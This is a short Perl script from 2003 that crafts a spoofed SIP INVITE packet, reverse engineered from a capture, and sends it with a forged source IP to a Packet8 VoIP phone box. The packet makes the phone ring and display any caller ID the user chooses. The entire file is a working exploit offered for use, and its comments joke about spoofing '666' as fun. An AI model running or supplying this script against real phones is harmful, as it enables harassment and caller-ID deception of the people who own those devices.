#!/usr/bin/perl -w # ring.pl # by ntheory # # This script will send a packet to a Packet8 IP phone box causing it to ring and # display any caller ID number that you would like. Numbers can be between # 1 and 11 digits long. Spoofing “666” is always good fun. # July 12th, 2003 - Started development. Evaluated “Billy The Kid” # and several other modules. Settled on Net::RawIP because it actually had # some documentation and didnʼt spit out random hash errors that made no # sense whatsoever. use Net::RawIP; use POSIX qw(strftime); $SourceIP = shift; $DestIP = shift; $CallerIDNumber = shift; if ( ( $#ARGV != -1 ) || ( !defined($CallerIDNumber) ) ) { print "You didnt enter the correct number of arguments.\n"; print "try: ring.pl SourceIP DestIP CallerIDNumber\n"; print "\n"; exit; } # All of these fields are apparently unimportant. $RemotePhoneNumber = "00000000000"; $RemoteAccount = "00000000000"; $CallerIDDate = ""; $CallerIDTime = ""; $TimeStamp = 0; $ContentLength = 75; # Ok, this one is important. $Port = 5060; # End-of-Line is CR/LF. $EOL = chr(0x0D) . chr(0x0A); # Build the packet (reverse engineered from Ethereal dump). $UDPData = "INVITE sip:$RemoteAccount@" . "$DestIP SIP/2.0" . $EOL; $UDPData .= "Via: SIP/2.0/UDP $SourceIP:$Port;branch=00000000000000000000000000000000, SIP/2.0/UDP $SourceIP:$Port;branch=00000000-00000000-00000000-00000000-0, SIP/2.0/UDP $SourceIP:$Port" . $EOL; $UDPData .= "From: ;tag=00000000-0000" . $EOL; $UDPData .= "To: " . $EOL; $UDPData .= "Call-ID: 00000000-00000000-00000000-00000000@" . "$SourceIP" . $EOL; $UDPData .= "CSeq: 101 INVITE" . $EOL; $UDPData .= "Max-Forwards: 4" . $EOL; $UDPData .= "Contact: " . $EOL; $UDPData .= "Content-Type: application/sdp" . $EOL; $UDPData .= "Date: $CallerIDDate $CallerIDTime GMT" . $EOL; $UDPData .= "Expires: 180" . $EOL; $UDPData .= "Record-Route: , " . $EOL; $UDPData .= "Timestamp: $TimeStamp" . $EOL; $UDPData .= "User-Agent: Cisco-SIPGateway/IOS-12.x" . $EOL; $UDPData .= "Content-Length: $ContentLength" . $EOL; $UDPData .= "Cisco-Guid: 0000000000-0000000000-0000000000-0000000000" . $EOL; $UDPData .= $EOL; $UDPData .= "v=0" . $EOL; $UDPData .= "o=CiscoSystemsSIP-GW-UserAgent 7899 1104 IN IP4 $SourceIP" . $EOL; $UDPData .= "s=SIP Call" . $EOL; $UDPData .= "c=IN IP4 $SourceIP" . $EOL; $UDPData .= "t=0 0" . $EOL; $UDPData .= "m=audio 19216 RTP/AVP 4" . $EOL; # Create the packet. $Packet = new Net::RawIP( { ip => { daddr => $DestIP }, udp => { source => $Port, dest => $Port, data => $UDPData } } ); # Annnnnnnnnnnnd, theyre off! $Packet->send;